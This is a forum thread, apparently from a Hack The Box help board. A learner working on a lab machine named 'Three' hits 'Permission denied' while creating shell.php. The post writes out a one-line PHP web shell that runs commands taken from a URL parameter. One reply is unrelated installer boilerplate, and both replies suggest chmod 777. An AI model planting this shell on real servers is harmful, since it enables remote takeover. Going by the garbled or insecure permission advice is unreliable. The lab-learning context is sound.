PHP Permission Denied Error

Hi all, I am working through the starting-point challenges, and on the “three” machine I am running into an error.
I need to create a PHP file called “shell.php” with the system get command in it. But when I insert the command (below), I get an error (also below).

This is what I am trying to insert (tried with and without sudo before):

echo '<?php system($_GET["cmd"]); ?>' > shell.php

And the error:

bash: shell.php: Permission denied

Can anyone help? Am I missing a command that will allow me to create php files? I tried doing a chmod u+x but as the file hasn’t been created I cannot assign permissions to it.

Thanks in advance!

Resolving The Problem Simply log in as super user “su” and use “chmod 777” to set the directory permissions of where you wish the rational directory to be created. Once done, you can re-enter the original directory again and the install will continue using the same directory.

Regards,
Rachel Gomez

1 Like

If you’re using HTB pwnbox, change directory to your user (probably called “htb-yourNameUser” inside /home dir). In this dir, you can create the shell.php…But if you have the Permission denied error again, create a new dir inside your user, change the permissions with “chmod 777” and create the shell.php.

I hope it works for you.
HKsky.

1 Like